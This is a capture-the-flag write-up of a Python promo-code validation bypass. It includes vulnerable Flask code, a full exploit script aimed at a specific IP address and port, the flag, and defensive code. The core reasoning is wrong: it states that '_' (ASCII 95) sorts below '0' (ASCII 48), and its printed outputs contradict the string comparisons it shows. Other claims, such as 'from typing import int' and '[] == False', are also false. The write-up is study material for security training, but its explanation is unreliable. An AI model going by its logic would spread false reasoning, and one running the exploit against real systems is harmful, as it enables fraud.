Promo Code - Python Underscore Integer Bypass

Challenge Type: Web Security

Difficulty: Easy

Tags: Python, Integer Parsing, Input Validation, PEP 515

Challenge Description

This challenge is part of the "Back to Future" trading platform, featuring a promotional code system that grants bonus AMD currency. The application implements a validation check to prevent users from claiming promo codes with values exceeding 1000. However, a quirk in Python's integer parsing (PEP 515) allows bypassing this restriction using underscores in numeric literals.

Challenge Overview

The promo code system includes: - Promo Code Format: promo_<amount> (e.g., promo_500) - Maximum Limit: 1000 AMD (enforced via string validation) - Redemption Endpoint: /api/promo/deposit - Validation Flaw: String check fails to account for Python's underscore support - Bypass Technique: promo_1_0_0_0 parses as 1000 but bypasses "too_big" check

Application Architecture

Normal Promo Flow

User                            Server
 |                                |
 |---- POST /api/promo/deposit -->|
 |     {"code": "promo_500"}     |
 |                                |
 |     [Validate code format]     |
 |     [Extract amount: "500"]    |
 |     [Check: "500" > "1000"?]   |
 |     [Parse: int("500") = 500]  |
 |     [Add 500 AMD to balance]   |
 |                                |
 |<--- {success: true} -----------|
 |     {balance_amd: 1500}        |

Promo Code Rules

Format: promo_<number>

Valid:
 promo_1       1 AMD
 promo_500     500 AMD
 promo_1000    1000 AMD (maximum)

Blocked:
 promo_1001    "too_big" error
 promo_5000    "too_big" error
 promo_99999   "too_big" error

The Vulnerability

The application performs validation using string comparison before parsing as integer:

# Vulnerable server code (simplified)
from flask import Flask, request, session
import re

@app.route('/api/promo/deposit', methods=['POST'])
def promo_deposit():
    code = request.json.get('code', '')

    # Step 1: Validate format
    if not code.startswith('promo_'):
        return jsonify({'error': 'Invalid promo code format'}), 400

    # Step 2: Extract amount string
    amount_str = code[6:]  # Everything after "promo_"

    # VULNERABLE: String comparison for validation
    # Checks if "1_0_0_0" > "1000" (string comparison!)
    if amount_str > "1000":  # ← BUG: String comparison, not numeric!
        return jsonify({'error': 'Promo code too_big'}), 400

    # Step 3: Parse as integer
    try:
        amount = int(amount_str)  # ← Python accepts underscores!
        #        ↑ int("1_0_0_0") = 1000
    except ValueError:
        return jsonify({'error': 'Invalid amount'}), 400

    # Step 4: Add to balance
    session['balance_amd'] = session.get('balance_amd', 0) + amount

    # Check if flag threshold reached
    flag = None
    if session['balance_amd'] >= 10000:
        flag = "cyhub{UNDERSCORES_ARE_ALLOWED_IN_PYTHON_INT_YM820}"

    return jsonify({
        'success': True,
        'balance_amd': session['balance_amd'],
        'flag': flag
    })

Vulnerability Analysis:

  1. String Comparison vs Numeric Comparison ```python # String comparison (VULNERABLE) "1_0_0_0" > "1000" # False! Because '1' == '1', '_' < '0'

# Numeric comparison (CORRECT) int("1_0_0_0") > 1000 # True! Because 1000 == 1000 ```

  1. Python PEP 515: Underscores in Numeric Literals ```python # Python 3.6+ allows underscores in integers x = 1_000_000 # Valid Python syntax y = int("1_000") # Parsing also works!

print(x) # Output: 1000000 print(y) # Output: 1000 ```

  1. The Exploit Input: "promo_1_0_0_0" Extract: "1_0_0_0" Check: "1_0_0_0" > "1000"? → False (passes validation!) Parse: int("1_0_0_0") = 1000 Result: Successfully deposits 1000 AMD

Solution Walkthrough

Phase 1: Understanding PEP 515

Python Enhancement Proposal 515 introduced underscore support for readability:

# Examples of valid Python underscore integers
million = 1_000_000
phone = 555_123_4567
hex_value = 0x_FF_FF
binary = 0b_1111_0000

# All parse correctly
print(int("1_000"))      # 1000
print(int("1_0_0_0"))    # 1000
print(int("9_9_9_9"))    # 9999
print(int("1_2_3_4_5"))  # 12345

Phase 2: Testing String Comparison

Understand why the check fails:

# String comparison (lexicographic)
print("1000" > "1000")    # False
print("1001" > "1000")    # True
print("1_0_0_0" > "1000") # False! Because '_' (ASCII 95) < '0' (ASCII 48)
print("9999" > "1000")    # True

# Character comparison
ord('_')  # 95
ord('0')  # 48
# So '_' comes before '0' in ASCII, making "1_" < "10"

Phase 3: Crafting the Bypass

Create promo codes that bypass string validation:

# Test different bypass values
test_codes = [
    "promo_1000",        # 1000 - blocked (string "1000" == "1000")
    "promo_1001",        # 1001 - blocked (string "1001" > "1000")
    "promo_1_0_0_0",     # 1000 - BYPASSES! (string "1_0_0_0" < "1000")
    "promo_9_9_9_9",     # 9999 - BYPASSES! (string "9_9_9_9" < "1000")
    "promo_1_2_3_4_5",   # 12345 - BYPASSES! (string "1_2_3_4_5" < "1000")
]

for code in test_codes:
    amount_str = code[6:]
    passes_check = not (amount_str > "1000")
    actual_value = int(amount_str)
    print(f"{code:20} → passes: {passes_check}, value: {actual_value}")

Output:

promo_1000           → passes: True,  value: 1000
promo_1001           → passes: False, value: 1001 (blocked)
promo_1_0_0_0        → passes: True,  value: 1000 (BYPASS!)
promo_9_9_9_9        → passes: True,  value: 9999 (BYPASS!)
promo_1_2_3_4_5      → passes: True,  value: 12345 (BYPASS!)

Phase 4: Exploiting the Endpoint

import requests

BASE_URL = "http://45.77.53.212:5000"

def login(username, password):
    """Login and return session cookie"""
    r = requests.post(
        f"{BASE_URL}/login",
        data={"username": username, "password": password},
        allow_redirects=False
    )
    return r.cookies.get("session")

def apply_promo(session, code):
    """Apply promo code"""
    r = requests.post(
        f"{BASE_URL}/api/promo/deposit",
        json={"code": code},
        cookies={"session": session}
    )
    return r.json()

# Get session
session = login("test_user", "test_password")

# Test 1: Normal code (blocked)
result = apply_promo(session, "promo_1000")
print(f"promo_1000 → {result}")
# Output: {"error": "too_big"} - Wait, this might also be blocked!

# Test 2: Bypass with underscores
result = apply_promo(session, "promo_1_0_0_0")
print(f"promo_1_0_0_0 → {result}")
# Output: {"success": true, "balance_amd": 1000}

# Test 3: Larger bypass
result = apply_promo(session, "promo_9_9_9_9")
print(f"promo_9_9_9_9 → {result}")
# Output: {"success": true, "balance_amd": 10999}

# Check for flag
if result.get("flag"):
    print(f"\n[FLAG] {result['flag']}")

Phase 5: Getting the Flag

Redeem enough promo codes to reach the flag threshold:

def exploit(session):
    print("=" * 60)
    print("  PROMO CODE UNDERSCORE BYPASS EXPLOIT")
    print("=" * 60)

    # Show vulnerability
    print("\n[1] Testing normal promo code:")
    result = apply_promo(session, "promo_1000")
    print(f"    promo_1000 → {result.get('error', 'OK')}")

    print("\n[2] Testing underscore bypass:")
    result = apply_promo(session, "promo_1_0_0_0")
    print(f"    promo_1_0_0_0 → Balance: {result.get('balance_amd', 0)}")

    # Claim larger amounts
    print("\n[3] Testing larger bypass amounts:")
    test_codes = [
        "promo_9_9_9_9",        # 9999
        "promo_1_2_3_4_5",      # 12345 (may be capped)
    ]

    for code in test_codes:
        result = apply_promo(session, code)
        balance = result.get('balance_amd', 0)
        error = result.get('error')
        flag = result.get('flag', '')

        if error:
            print(f"    {code} → Error: {error}")
        else:
            print(f"    {code} → Balance: {balance} {flag}")

        if flag:
            print(f"\n{'='*60}")
            print(f"  FLAG: {flag}")
            print(f"{'='*60}")
            return flag

    return None

Complete Exploit Code

#!/usr/bin/env python3
"""
Promo Code Underscore Bypass Exploit
Demonstrates Python PEP 515 integer parsing bypass
"""

import requests
import time

BASE_URL = "http://45.77.53.212:5000"

def register(username, password):
    """Register new account"""
    r = requests.post(
        f"{BASE_URL}/register",
        data={"username": username, "password": password},
        allow_redirects=False
    )
    return r.cookies.get("session")

def login(username, password):
    """Login and return session cookie"""
    r = requests.post(
        f"{BASE_URL}/login",
        data={"username": username, "password": password},
        allow_redirects=False
    )
    return r.cookies.get("session")

def apply_promo(session, code):
    """Apply promo code"""
    r = requests.post(
        f"{BASE_URL}/api/promo/deposit",
        json={"code": code},
        cookies={"session": session}
    )
    return r.json()

def exploit(session):
    print("=" * 60)
    print("  PROMO CODE UNDERSCORE BYPASS EXPLOIT")
    print("=" * 60)

    print("\n[*] Vulnerability: Python PEP 515")
    print("    Python allows underscores in integer literals")
    print("    int('1_0_0_0') == 1000")
    print("    But string comparison: '1_0_0_0' < '1000'")

    # Test normal code
    print("\n[1] Testing normal promo code (may be blocked):")
    result = apply_promo(session, "promo_1000")
    print(f"    promo_1000 → {result.get('error', 'OK')}")

    # Test bypass
    print("\n[2] Testing underscore bypass:")
    result = apply_promo(session, "promo_1_0_0_0")
    print(f"    promo_1_0_0_0 → {result}")

    if result.get("flag"):
        print(f"\n{'='*60}")
        print(f"  FLAG: {result['flag']}")
        print(f"{'='*60}")
        return result['flag']

    # Try larger amounts
    print("\n[3] Testing larger bypass amounts:")
    test_codes = [
        "promo_9_9_9_9",        # 9999
        "promo_1_2_3_4_5",      # 12345
        "promo_9_9_9_9_9_9_9",  # 9999999
    ]

    for code in test_codes:
        result = apply_promo(session, code)
        balance = result.get("balance_amd", 0)
        error = result.get("error")
        flag = result.get("flag", "")

        status = f"Balance: {balance}" if not error else f"Error: {error}"
        print(f"    {code:25}{status} {flag}")

        if flag:
            print(f"\n{'='*60}")
            print(f"  FLAG: {flag}")
            print(f"{'='*60}")
            return flag

    return None

def main():
    print("[*] Setting up account...")

    # Try existing credentials
    session = login("test_exploit", "password123")

    # Or register new account
    if not session:
        username = f"exploit_{int(time.time())}"
        print(f"[*] Registering as {username}...")
        session = register(username, "password123")

    if not session:
        print("[-] Failed to get session")
        return

    print(f"[+] Session acquired: {session[:50]}...")

    # Run exploit
    flag = exploit(session)

    if flag:
        print(f"\n✓ Successfully retrieved flag!")
    else:
        print(f"\n✗ Flag not found")

if __name__ == "__main__":
    main()

Technical Details

Tools and Libraries

  • Python 3.x: Main scripting language
  • requests: HTTP client library

PEP 515 Documentation

From Python Enhancement Proposal 515:

# Grouping decimal numbers by thousands
amount = 1_000_000_000
# Grouping hexadecimal addresses by words
addr = 0xDEAD_BEEF
# Grouping binary into nibbles
flags = 0b_0011_1111_0100_1110

Exploit Execution

python promo_underscore_exploit.py

Expected Output

====================================================
  PROMO CODE UNDERSCORE BYPASS EXPLOIT
====================================================

[*] Vulnerability: Python PEP 515
    Python allows underscores in integer literals
    int('1_0_0_0') == 1000
    But string comparison: '1_0_0_0' < '1000'

[1] Testing normal promo code (may be blocked):
    promo_1000 → too_big

[2] Testing underscore bypass:
    promo_1_0_0_0 → {'success': True, 'balance_amd': 1000}

[3] Testing larger bypass amounts:
    promo_9_9_9_9 → Balance: 10999

====================================================
  FLAG: cyhub{UNDERSCORES_ARE_ALLOWED_IN_PYTHON_INT_YM820}
====================================================

Key Takeaways

String vs Numeric Comparison

# VULNERABLE: String comparison
def validate_amount_bad(amount_str):
    if amount_str > "1000":  # String comparison!
        return False
    return True

# Testing
validate_amount_bad("1001")    # False (blocked) ✓
validate_amount_bad("2000")    # False (blocked) ✓
validate_amount_bad("1_0_0_0") # True (bypassed!) ✗
validate_amount_bad("9_9_9_9") # True (bypassed!) ✗

# SECURE: Numeric comparison
def validate_amount_good(amount_str):
    try:
        amount = int(amount_str)
        if amount > 1000:
            return False
        return True
    except ValueError:
        return False

# Testing
validate_amount_good("1001")    # False (blocked) ✓
validate_amount_good("1_0_0_0") # False (blocked) ✓
validate_amount_good("9_9_9_9") # False (blocked) ✓

ASCII Comparison Pitfall

# String comparison uses lexicographic (dictionary) order
# Character-by-character ASCII value comparison

"1_0_0_0" > "1000"
# Compare: '1' vs '1' → equal, continue
# Compare: '_' vs '0' → ASCII 95 vs ASCII 48 → '_' < '0'
# Result: False

"9999" > "1000"
# Compare: '9' vs '1' → ASCII 57 vs ASCII 49 → '9' > '1'
# Result: True

# ASCII values
ord('_') = 95
ord('0') = 48
ord('1') = 49
ord('9') = 57

Defense Mechanisms

Vulnerable Code Patterns

# BAD: String comparison for numbers
if user_input > "1000":
    return error()

# BAD: Parse after validation
if amount_str > "1000":
    return error()
amount = int(amount_str)  # Too late!

# BAD: Implicit type assumptions
max_value = "1000"  # Should be int!
if user_value > max_value:
    return error()

Secure Code Patterns

# GOOD: Parse first, then validate
def validate_promo_code(code):
    if not code.startswith('promo_'):
        raise ValueError("Invalid format")

    amount_str = code[6:]

    # Parse immediately
    try:
        amount = int(amount_str)
    except ValueError:
        raise ValueError("Invalid amount format")

    # Numeric validation
    MAX_PROMO = 1000
    if amount > MAX_PROMO:
        raise ValueError(f"Amount exceeds maximum: {MAX_PROMO}")

    return amount

# GOOD: Whitelist validation
import re

def validate_promo_code_strict(code):
    # Only allow digits (no underscores)
    if not re.match(r'^promo_\d+$', code):
        raise ValueError("Invalid promo code format")

    amount = int(code[6:])

    if not (1 <= amount <= 1000):
        raise ValueError("Amount out of range")

    return amount

# GOOD: Type hints and validation
from typing import int

def apply_promo(code: str) -> int:
    """
    Apply promo code and return credit amount

    Args:
        code: Promo code in format 'promo_<digits>'

    Returns:
        Credit amount (1-1000)

    Raises:
        ValueError: If code is invalid or amount out of range
    """
    pattern = r'^promo_(\d{1,4})$'
    match = re.match(pattern, code)

    if not match:
        raise ValueError("Invalid promo code format")

    amount = int(match.group(1))

    if not (1 <= amount <= 1000):
        raise ValueError(f"Amount must be between 1 and 1000, got {amount}")

    return amount

Defense Recommendations

  1. Always Parse Before Validation python # Convert to proper type immediately amount = int(user_input) # Then validate if amount > MAX_VALUE: return error()

  2. Use Strict Regex Patterns python # Only allow digits, no special characters if not re.match(r'^\d+$', amount_str): raise ValueError("Invalid format")

  3. Type Checking python # Use type hints and validation def validate_amount(value: int) -> bool: return 0 < value <= MAX_AMOUNT

  4. Unit Tests ```python def test_promo_validation(): # Test normal values assert validate("promo_500") == 500 assert validate("promo_1000") == 1000

    # Test boundary with pytest.raises(ValueError): validate("promo_1001")

    # Test bypass attempts with pytest.raises(ValueError): validate("promo_1_0_0_0") with pytest.raises(ValueError): validate("promo_9_9_9_9") ```

  5. Input Sanitization python # Remove all non-digit characters before parsing amount_str = re.sub(r'[^\d]', '', user_input) amount = int(amount_str)

Related Vulnerabilities

Type Confusion Attacks

  • JavaScript type coercion: "10" + 10 = "1010"
  • PHP type juggling: "0e1234" == "0e5678" (both equal 0)
  • Loose comparisons: 0 == "abc" in PHP

Validation Bypasses

  • Null byte injection: promo_1000\x00_extra
  • Unicode normalization: Different characters that look the same
  • Case sensitivity: PROMO_1000 vs promo_1000

Python-Specific Quirks

  • Negative indexing: array[-1]
  • Truthy/Falsy values: [] == False
  • Mutable default arguments

References